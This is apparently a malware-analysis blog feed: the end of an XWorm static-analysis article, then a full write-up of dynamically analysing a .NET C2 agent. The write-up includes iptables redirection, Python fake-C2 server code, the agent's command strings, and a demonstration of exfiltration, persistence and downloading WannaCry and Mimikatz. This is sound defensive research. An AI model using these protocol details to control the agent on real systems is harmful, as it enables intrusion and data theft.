<p><strong>Disclaimer</strong>: Running malware on a personal or corporate device can put your information or your company&rsquo;s information at risk. Never execute malware on a device that has not been specifically configured for analysis.</p>
</blockquote>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>Algorithm</th>
        <th>Hash</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>MD5</td>
        <td>b3aa8653079137d67f1998dbafeca57b</td>
      </tr>
    </tbody>
  </table>
</div>
<p>We begin the analysis with the <em>Detect It Easy</em> tool, which shows us that the file&rsquo;s type is PE32 (Portable Executable, a Windows executable). It shows that the malware <strong>uses the .NET framework</strong>; this is important because depending on the framework/language, we can decide on the best tool for analyzing the malware.</p>
<p><figure><img src="/p/006-xworm-1/006-DIE_hu_1b28201741c24f66.webp" alt="Detect It Easy" loading="lazy" decoding="async" width="716" height="531"><figcaption>Detect It Easy</figcaption></figure>
</p>
<p>Additionally, we see that it identifies the malware as XWorm. While this is a strong indicator, we should not rely 100% on this identification, as <em>Detect It Easy</em>, like <em>OLEVba</em> and other static analysis tools, looks for patterns and can incorrectly label certain patterns as malicious. Furthermore, there have been cases where threat actor groups (APTs) intentionally included IOCs from other threat groups in their tools to deceive investigators.</p>
<p>Finally, we see that <em>Detect It Easy</em> identifies the malware as obfuscated and with anti-debug and anti-VM capabilities.</p>
<p>If we analyze the binary with <em>PEStudio</em>, we can detect some interesting strings:</p>
<p><figure><img src="/p/006-xworm-1/006-pestudio-strings_hu_26b113d7d6c800f.webp" alt="Strings in PEStudio" loading="lazy" decoding="async" width="1272" height="740"><figcaption>Strings in PEStudio</figcaption></figure>
</p>
<p>Within the strings, we see references to DDoS, commands for the computer (PCShutdown, PCLogoff), and the string <em>&quot;-ExecutionPolicy Bypass&quot;</em>, which can be used to bypass PowerShell script verification, among others. Additionally, if we explore the other tabs in <em>PEStudio</em>, we can gain a better understanding of the .NET namespaces present, libraries it imports, and more.</p>
<h2 id="managed-code-vs-unmanaged-code">
  Managed code vs Unmanaged code<a class="heading-anchor" href="#managed-code-vs-unmanaged-code" aria-label="Link to this section">#</a></h2>
<p>Earlier in the article, I mentioned that, depending on the programming language, we could use different tools to analyze our sample. To understand this, it is important to know about managed and unmanaged languages:</p>
<p><strong>Unmanaged code</strong> is code that runs directly on the machine without the need for a runtime environment. Here are its key characteristics:</p>
<ul>
<li><strong>Direct interaction with the system</strong>: This code has direct access to memory and system resources.</li>
<li><strong>Faster but less secure</strong>: Although unmanaged code programs are faster and more lightweight, they require the programmer to carefully manage memory and other resources.</li>
<li><strong>Example in C</strong>: In this language, programmers must manually manage memory, which can lead to vulnerabilities like buffer overflows if not done correctly.</li>
</ul>
<p><strong>Example of unmanaged code (in C):</strong></p>
<div class="codeblock">
  <div class="codebar">
    <span>c</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp">#include</span> <span class="cpf">&lt;string.h&gt;</span><span class="cp">
</span></span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">char</span> <span class="n">buffer</span><span class="p">[</span><span class="mi">10</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Enter some text: &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">gets</span><span class="p">(</span><span class="n">buffer</span><span class="p">);</span>  <span class="c1">// Unsafe function, vulnerable to buffer overflow
</span></span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;You entered: %s</span><span class="se">\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">buffer</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<p><strong>Managed code</strong> is executed in a controlled environment provided by a &ldquo;runtime&rdquo; or execution environment, such as the .NET CLR (Common Language Runtime) for .NET applications. This offers advantages in terms of security and portability, as the environment manages memory and exceptions automatically.</p>
<ul>
<li>
<p><strong>Automatic resource management</strong>: The CLR handles memory management, making the code more secure and less prone to errors like memory leaks.</p>
</li>
<li>
<p><strong>Portability</strong>: Managed code is easier to port across different operating systems since the runtime takes care of translating the code into something understandable by the machine.</p>
</li>
</ul>
<p><strong>Example of managed code (in C#):</strong></p>
<div class="codeblock">
  <div class="codebar">
    <span>c#</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c#" data-lang="c#"><span class="line"><span class="cl"><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Program</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kd">static</span> <span class="k">void</span> <span class="n">Main</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="kt">string</span> <span class="n">input</span> <span class="p">=</span> <span class="n">Console</span><span class="p">.</span><span class="n">ReadLine</span><span class="p">();</span>  <span class="c1">// Safe input handling</span>
</span></span><span class="line"><span class="cl">        <span class="n">Console</span><span class="p">.</span><span class="n">WriteLine</span><span class="p">(</span><span class="s">&#34;You entered: &#34;</span> <span class="p">+</span> <span class="n">input</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span></span></span></code></pre></div>
</div>
<h3 id="intermediate-language-il">
  Intermediate Language (IL)<a class="heading-anchor" href="#intermediate-language-il" aria-label="Link to this section">#</a></h3>
<p>When we write code in .NET, whether in C# or Visual Basic, the compiler does not produce a binary that can be executed directly. Instead, it generates a binary in Intermediate Language (IL), which is a set of instructions that need to be converted to machine code by the CLR to be executed on the machine.</p>
<p>When you double-click a .EXE program that uses the .NET framework, the CLR performs a process known as Just In Time (JIT) compiling, which transforms the intermediate code into machine code that can be executed by the CPU:</p>
<p><figure><img src="/p/006-xworm-1/006-netcode_hu_98ea568e626a0a8.webp" alt="NET compilation process" loading="lazy" decoding="async" width="1193" height="326"><figcaption>NET compilation process</figcaption></figure>
</p>
<p>If we compare two programs that do the same thing, one written in C and the other in C#, we can observe the significant size difference:
<figure><img src="/p/006-xworm-1/006-c_hu_29f0979cfdacb9ba.webp" alt="Managed vs Unmanaged code" loading="lazy" decoding="async" width="250" height="93"><figcaption>Managed vs Unmanaged code</figcaption></figure>
</p>
<p>This is important for our analysis because Intermediate Language binaries contain a large amount of metadata that makes the analysis easier. Instead of having to disassemble the binary with a tool like <em>Ghidra</em>, we can decompile it using <em>DNSpy</em>.</p>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>In this first article, we have laid the groundwork for understanding XWorm: we now know what type of binary it is, some potential functions to look for during the analysis, as well as the tools we can use to approach it. While this is a theoretical article, I believe the foundation of managed and unmanaged languages is important for future analyses.</p>
<p>In the next article, we will begin analyzing the actions performed by XWorm, how it evades defenses, decrypts configuration parameters while running, and more.</p>
<p>See you in the next article!</p>
<hr>
]]></content:encoded></item><item><title>005 - Analyzing a C2 agent - Part 3: the agent - Dynamic analysis</title><link>https://www.threatanatomy.com/p/005-dotnet-agent/</link><pubDate>Mon, 12 Feb 2024 12:03:49 -0500</pubDate><guid>https://www.threatanatomy.com/p/005-dotnet-agent/</guid><description>In this article we will dynamically analyze the C2 agent we previously obtained and evaluate ways to interact with it in order to understand how it works.</description><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<h2 id="introduction">
  Introduction<a class="heading-anchor" href="#introduction" aria-label="Link to this section">#</a></h2>
<p>In <a href="/p/004-dotnet-agent/">the second part of this article</a>
 we statically analyzed the .exe binary we obtained from a malicious macro; during the analysis, we identified that the program was developed in .NET, which facilitated the analysis because the intermediate language (IL) used by this framework is very similar to the original source code, allowing it to be easily decompiled.</p>
<p>In this section we will dynamically analyze the binary to confirm our static analysis was correct, as well as develop ways to interact with the agent.</p>
<blockquote>
<p><strong>Disclaimer</strong>: Running malware on a personal or corporate device can put your information/your company&rsquo;s information at risk. Never run malware on a device that has not been specifically configured for malware analysis.</p>
</blockquote>
<h2 id="dynamic-analysis-of-the-binary">
  Dynamic analysis of the binary<a class="heading-anchor" href="#dynamic-analysis-of-the-binary" aria-label="Link to this section">#</a></h2>
<h3 id="environment-setup-and-initial-connection">
  Environment setup and initial connection<a class="heading-anchor" href="#environment-setup-and-initial-connection" aria-label="Link to this section">#</a></h3>
<p>As part of the static analysis we identified that, after waiting for a few seconds, the program tries to communicate with the IP <em>162.245.191.217</em> on the ports 9149, 15198, 17818, 27781 and 29224, iterating through them until it gets a successful connection. We can verify that the program does indeed make such connection attempts using <em>TCPView</em> or <em>Process Monitor</em>:</p>
<p><figure><img src="/p/005-dotnet-agent/005_TCPView1_hu_2bd95ad350af879c.webp" alt="Connection in TCP View" loading="lazy" decoding="async" width="1189" height="144"><figcaption>Connection in TCP View</figcaption></figure>
</p>
<p><figure><img src="/p/005-dotnet-agent/005_Procmon1_hu_b5363064a0bea4d4.webp" alt="Connection in Process Monitor" loading="lazy" decoding="async" width="680" height="425"><figcaption>Connection in Process Monitor</figcaption></figure>
</p>
<p>Since the binary requires a successful response from the server to continue, we can proceed in two ways:</p>
<ol>
<li>Modify the destination IP during execution using DNSpy</li>
<li>Modify Remnux to intercept the traffic directed to the server</li>
</ol>
<p>On this occasion I opted for the second option, which can be implemented by modifying Remnux&rsquo;s firewall rules; to do so, we can redirect all traffic destined to the server&rsquo;s IP to a specific port in Remnux:</p>
<div class="codeblock">
  <div class="codebar">
    <span>bash</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sudo iptables -t nat -A PREROUTING -i ens33 -p tcp -d 162.245.191.217  -j DNAT --to-destination 10.0.0.3:4321</span></span></code></pre></div>
</div>
<p>As part of the static analysis we identified that the program gets a response from the server, splits it using the &ldquo;=&rdquo; character and based on the first part of the message (what is before the &ldquo;=&rdquo; character) performs an action. We can test this by sending a value that we know the program understands and see if it follows the expected path:</p>
<div class="codeblock">
  <div class="codebar">
    <span>python</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">message_content</span> <span class="o">=</span> <span class="s2">&#34;thyTumb=LoremIpsumTest&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">message_content</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">HOST</span> <span class="o">=</span> <span class="s1">&#39;0.0.0.0&#39;</span>
</span></span><span class="line"><span class="cl"><span class="n">PORT</span> <span class="o">=</span> <span class="mi">4321</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">listen</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Server is listening...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">conn</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Connected by&#39;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">conn</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">message_content</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Data sent to the client.&#34;</span><span class="p">)</span></span></span></code></pre></div>
</div>
<p><figure><img src="/p/005-dotnet-agent/005_expected_hu_43ff91ec8947dd11.webp" alt="Message to send" loading="lazy" decoding="async" width="291" height="63"><figcaption>Message to send</figcaption></figure>
</p>
<p>However, we quickly realize that sending a message will not be so simple; the agent implements custom logic to determine the size of the message and thus know when to stop &ldquo;reading&rdquo; data:
<figure><img src="/p/005-dotnet-agent/005-breakpoint_hu_20212d93464ad8f4.webp" alt="Identification logic" loading="lazy" decoding="async" width="679" height="628"><figcaption>Identification logic</figcaption></figure>
</p>
<p>Furthermore, due to differences in how C# (what the agent is written in) and Python (the server we are using to impersonate the real server) handle TCP messages, it is necessary to make adjustments to the code so that the agent can understand the message:</p>
<div class="codeblock">
  <div class="codebar">
    <span>python</span>
    <button class="copy-btn" type="button" aria-label="Copy code">copy</button>
  </div>
  <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">socket</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">struct</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">message_content</span> <span class="o">=</span> <span class="s2">&#34;thyQumb=LoremIpsumTest&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">message_length</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">message_content</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="cl"><span class="n">packed_length</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s1">&#39;!I&#39;</span><span class="p">,</span> <span class="n">message_length</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">reversed_length</span> <span class="o">=</span> <span class="n">packed_length</span><span class="p">[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">reversed_length</span> <span class="o">=</span> <span class="n">reversed_length</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span> <span class="o">*</span> <span class="p">(</span><span class="mi">5</span> <span class="o">-</span> <span class="nb">len</span><span class="p">(</span><span class="n">reversed_length</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">message_to_send</span> <span class="o">=</span> <span class="n">reversed_length</span> <span class="o">+</span> <span class="n">message_content</span><span class="o">.</span><span class="n">encode</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">message_to_send</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">HOST</span> <span class="o">=</span> <span class="s1">&#39;0.0.0.0&#39;</span>  
</span></span><span class="line"><span class="cl"><span class="n">PORT</span> <span class="o">=</span> <span class="mi">4321</span>     
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">with</span> <span class="n">socket</span><span class="o">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="o">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="o">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span> <span class="k">as</span> <span class="n">s</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">bind</span><span class="p">((</span><span class="n">HOST</span><span class="p">,</span> <span class="n">PORT</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">    <span class="n">s</span><span class="o">.</span><span class="n">listen</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Server is listening...&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">conn</span><span class="p">,</span> <span class="n">addr</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="n">accept</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="k">with</span> <span class="n">conn</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s1">&#39;Connected by&#39;</span><span class="p">,</span> <span class="n">addr</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="n">conn</span><span class="o">.</span><span class="n">sendall</span><span class="p">(</span><span class="n">message_to_send</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Data sent to the client.&#34;</span><span class="p">)</span></span></span></code></pre></div>
</div>
<p>With these modifications we verify that the message reaches the agent correctly:
<figure><img src="/p/005-dotnet-agent/005-fixedcode_hu_2bdd554d2f0388ec.webp" alt="Agent receives response" loading="lazy" decoding="async" width="966" height="620"><figcaption>Agent receives response</figcaption></figure>
</p>
<p>During analysis it can take a long time for the necessary conditions to be met for the malware to communicate with the server, so extracting the part of the code we want to understand and using it in another program can help us understand what is happening more effectively; to understand how Python sent the messages and how .NET received them, I made a small program that allowed me to validate the response of each stage of the process:
<figure><img src="/p/005-dotnet-agent/005-customdebug_hu_b70a36258d899465.webp" alt="Debugging using Visual Studio" loading="lazy" decoding="async" width="846" height="182"><figcaption>Debugging using Visual Studio</figcaption></figure>
</p>
<p>Once we are able to send information to the agent in a &ldquo;language&rdquo; that it can understand, implementing the logic of receiving information from the agent takes little time. Finally we have how to send commands to the Command and Control agent and we can verify how it behaves in practice.</p>
<h3 id="analysis-of-the-agents-capabilities">
  Analysis of the agent&rsquo;s capabilities<a class="heading-anchor" href="#analysis-of-the-agents-capabilities" aria-label="Link to this section">#</a></h3>
<p>As in the previous article, we will analyze some capabilities offered by the agent to verify how they behave during its execution:</p>
<h4 id="listing-processes">
  Listing processes<a class="heading-anchor" href="#listing-processes" aria-label="Link to this section">#</a></h4>
<p>When the command &ldquo;geyTtavs&rdquo; is received, we expect the ID of each process to be sent, followed by the name of each process, following the pattern
<em>Process ID1&gt;ProcessName1&gt;0&gt;IDProcess2&gt;ProcessName2&gt;0&gt;&lt;</em>. Using Wireshark, we can verify that the information is indeed sent this way:
<figure><img src="/p/005-dotnet-agent/005-listarProcesos_hu_9ea56fbb70d5fcbc.webp" alt="DNSpy view of parsing processes" loading="lazy" decoding="async" width="1187" height="686"><figcaption>DNSpy view of parsing processes</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-listarProcesosWireshark_hu_ea832f63959e035e.webp" alt="Wireshark view of parsing processes" loading="lazy" decoding="async" width="1400" height="569"><figcaption>Wireshark view of parsing processes</figcaption></figure>
</p>
<p>On the server, we can modify our script to better parse the received information:
<figure><img src="/p/005-dotnet-agent/005-viewProcEng_hu_25bf172b347553e3.webp" alt="Server view of parsing processes" loading="lazy" decoding="async" width="466" height="244"><figcaption>Server view of parsing processes</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-taskexplorer_hu_41cbaa499f2e3e1e.webp" alt="Server view of parsing processes" loading="lazy" decoding="async" width="654" height="392"><figcaption>Server view of parsing processes</figcaption></figure>
</p>
<h4 id="establish-persistence">
  Establish persistence<a class="heading-anchor" href="#establish-persistence" aria-label="Link to this section">#</a></h4>
<p>Another of the functions offered by the C2 agent that we identified during the static analysis is that of establishing persistence, which we can verify using <em>Autoruns</em> and <em>Process monitor</em>.
<figure><img src="/p/005-dotnet-agent/005-persistenceEng_hu_829af85ed8e397bd.webp" alt="Command to establish persistence" loading="lazy" decoding="async" width="990" height="115"><figcaption>Command to establish persistence</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-persistenciaPM_hu_ce17d44c0c296ff8.webp" alt="Persistence through Registry key" loading="lazy" decoding="async" width="1108" height="178"><figcaption>Persistence through Registry key</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-persistencia2_hu_22450de6802b6cf9.webp" alt="Persistence through Registry key" loading="lazy" decoding="async" width="1151" height="249"><figcaption>Persistence through Registry key</figcaption></figure>
</p>
<p>The C2 agent uses the registry key <em>HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</em> to configure the agent to run at each login (<a href="https://attack.mitre.org/techniques/T1547/001/" rel="noopener noreferrer external" target="_blank">technique T1547.001 in MITRE ATT&amp;CK</a>
).</p>
<h4 id="exfiltrating-files">
  Exfiltrating files<a class="heading-anchor" href="#exfiltrating-files" aria-label="Link to this section">#</a></h4>
<p>The agent offers the attacker the ability to exfiltrate files using the &ldquo;afyTile&rdquo; command, for which it receives a file path and proceeds to send the file to the C2 server; we can update our server to interact with that function and confirm the agent read and sent the file using <em>Wireshark</em> and <em>Process Monitor</em>:
<figure><img src="/p/005-dotnet-agent/005-exfilEng_hu_101b044680760f16.webp" alt="File exfiltrated to C2" loading="lazy" decoding="async" width="995" height="172"><figcaption>File exfiltrated to C2</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-exfil2_hu_c3783b4fd43ad8b2.webp" alt="File read on filesystem" loading="lazy" decoding="async" width="1187" height="619"><figcaption>File read on filesystem</figcaption></figure>

<figure><img src="/p/005-dotnet-agent/005-exfil3_hu_464785de5ad1c1eb.webp" alt="Data sent through Wireshark" loading="lazy" decoding="async" width="1400" height="285"><figcaption>Data sent through Wireshark</figcaption></figure>
</p>
<h4 id="downloading-and-executing-programs">
  Downloading and executing programs<a class="heading-anchor" href="#downloading-and-executing-programs" aria-label="Link to this section">#</a></h4>
<p>One of the most interesting capabilities offered by the agent is the ability to download and execute binaries from the C2 server, so an attacker can extend their attack using capabilities not initially available in the malware. One of the situations where we constantly see such a technique is with <a href="https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/" rel="noopener noreferrer external" target="_blank">organizations that</a>
 <a href="https://www.darkreading.com/threat-intelligence/-gold-melody-access-broker-unpatched-servers" rel="noopener noreferrer external" target="_blank">deploy</a>
 <a href="https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/lockbit" rel="noopener noreferrer external" target="_blank">ransomware</a>
, where organizations known as <em>Initial Access Brokers (IABs)</em> sell the access they gained into a company to Ransomware organizations such as Lockbit and Conti.</p>
<p><figure><img src="/p/005-dotnet-agent/005-download_hu_2b183648c7b6a37.webp" alt="Download and execute" loading="lazy" decoding="async" width="579" height="167"><figcaption>Download and execute</figcaption></figure>
</p>
<p>For my initial test, I had the application download and execute the Windows calculator:
<figure><img src="/p/005-dotnet-agent/005-calc_hu_f1937dec7ba993bf.webp" alt="Opening a calculator" loading="lazy" decoding="async" width="717" height="233"><figcaption>Opening a calculator</figcaption></figure>
</p>
<p>However, since running the calculator is boring, I decided to download Wannacry simulating what a real attacker might do:
<div class="yt-facade" role="button" tabindex="0" data-id="BXkm-5nxo2A" data-title="YouTube video" aria-label="Play video: YouTube video">
  <div class="yt-inner">
    <span class="yt-play" aria-hidden="true">
      <svg viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M8 5v14l11-7z"/></svg>
    </span>
    <span class="yt-label">YouTube video</span>
    <span class="yt-note">Click to load from YouTube (youtube-nocookie.com)</span>
  </div>
</div>
</p>
<h3 id="c2-server-demo">
  C2 server demo<a class="heading-anchor" href="#c2-server-demo" aria-label="Link to this section">#</a></h3>
<p>After analyzing some of the capabilities offered by the agent (facilitated by the easy decompilation of .NET), I managed to implement a server capable of communicating with it based only on the agent&rsquo;s code; among the features that I implemented are listing processes, obtaining system information, executing commands, establishing persistence, listing files in a directory, and downloading and executing binaries.</p>
<p>The following video shows some of the capabilities:
<div class="yt-facade" role="button" tabindex="0" data-id="kr9-kPQhMEo" data-title="YouTube video" aria-label="Play video: YouTube video">
  <div class="yt-inner">
    <span class="yt-play" aria-hidden="true">
      <svg viewBox="0 0 24 24" fill="currentColor" aria-hidden="true"><path d="M8 5v14l11-7z"/></svg>
    </span>
    <span class="yt-label">YouTube video</span>
    <span class="yt-note">Click to load from YouTube (youtube-nocookie.com)</span>
  </div>
</div>
</p>
<p>As shown in the video, the agent establishes communication with the Command and Control server every minute, which allows the attacker to send different commands; among those reviewed are the download and execution of binaries, where <a href="https://github.com/gentilkiwi/mimikatz" rel="noopener noreferrer external" target="_blank"><em>Mimikatz</em></a>
 was downloaded and executed, the listing of system processes, where we identified the <em>Mimikatz</em> process, and obtaining system information, where we obtained the name of the machine, the user, the Windows version, as well as the path where the agent was running.</p>
<p>Furthermore, we can see how these activities appear in tools such as <em>Process Explorer</em>, <em>Process Monitor</em>, <em>TCP View</em> and <em>Wireshark</em>, which allow us to understand in detail the actions triggered by each capability of the malware.</p>
<p>The video does not show all the implemented capabilities, as well as others offered by the agent that were not adapted to the fake server (deleting files, taking screenshots, etc.), which is why I encourage the readers to reverse-engineer the binary and implement these capabilities as a way of learning.</p>
<h2 id="conclusions">
  Conclusions<a class="heading-anchor" href="#conclusions" aria-label="Link to this section">#</a></h2>
<p>When I started the analysis of this malware I only knew that it contained a malicious macro, but not that it embedded a Command and Control agent, that I would be able to decompile, analyze, and develop a POC to interact with it. The malware obtained was the perfect opportunity to practice different analysis techniques, both static and dynamic, allowing us to reverse engineer the malware without having to read assembly code.</p>
<p>Thank you for joining me in this analysis. I invite you to replicate what we have seen and practice the techniques we learned.</p>
<h2 id="mitre-attck-mapping">
  MITRE ATT&amp;CK Mapping<a class="heading-anchor" href="#mitre-attck-mapping" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>ID</th>
        <th>Tactic</th>
        <th>Technique</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>T1059.003</td>
        <td>Execution</td>
        <td>Command and Scripting Interpreter: Windows Command Shell</td>
        <td>The method Process.Start was used to initiate new processes</td>
      </tr>
      <tr>
        <td>T1547.001</td>
        <td>Persistence</td>
        <td>Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder</td>
        <td>A registry key was used to establish persistence</td>
      </tr>
      <tr>
        <td>T1070.004</td>
        <td>Defence evasion</td>
        <td>Indicator Removal: File Deletion</td>
        <td>The agent has the capability to delete files</td>
      </tr>
      <tr>
        <td>T1027.010</td>
        <td>Defence evasion</td>
        <td>Obfuscated Files or Information: Command Obfuscation</td>
        <td>Character substitution was used to obfuscate commands</td>
      </tr>
      <tr>
        <td>T1057</td>
        <td>Discovery</td>
        <td>Process Discovery</td>
        <td>The agent has the capability to list processes</td>
      </tr>
      <tr>
        <td>T1082</td>
        <td>Discovery</td>
        <td>System Information Discovery</td>
        <td>The agent has the capability to obtain information about the system</td>
      </tr>
      <tr>
        <td>T1113</td>
        <td>Collection</td>
        <td>Screen Capture</td>
        <td>The agent has the capability to take screenshots</td>
      </tr>
      <tr>
        <td>T1005</td>
        <td>Collection</td>
        <td>Data from Local System</td>
        <td>The agent has the capability to obtain information about the system&rsquo;s files</td>
      </tr>
      <tr>
        <td>T1571</td>
        <td>Command and Control</td>
        <td>Non-Standard Port</td>
        <td>The agent communicates using a non-standard port</td>
      </tr>
      <tr>
        <td>T1095</td>
        <td>Command and Control</td>
        <td>Non-Application Layer Protocol</td>
        <td>The agent communicates directly through a TCP connection</td>
      </tr>
      <tr>
        <td>T1041</td>
        <td>Command and Control</td>
        <td>Exfiltration Over C2 Channel</td>
        <td>The agent exfiltrates information using the connection with the C2 server</td>
      </tr>
    </tbody>
  </table>
</div>
<h2 id="ioc">
  IOC<a class="heading-anchor" href="#ioc" aria-label="Link to this section">#</a></h2>
<div class="table-wrap">
  <table>
    <thead>
      <tr>
        <th>IOC</th>
        <th>Type</th>
        <th>Description</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>59211a4e0f27d70c659636746b61945a</td>
        <td>MD5 Hash</td>
        <td>C2 agent hash</td>
      </tr>
      <tr>
        <td>162.245.191.217</td>
        <td>IP</td>
        <td>IP that the agent calls</td>
      </tr>
      <tr>
        <td>HKEY\CURRENT \USER\Software \Microsoft\Windows \CurrentVersion \Run\haijwivetsgVr</td>
        <td>Registry key</td>
        <td>Registry key used to establish persistence</td>
      </tr>
    </tbody>
  </table>
</div>
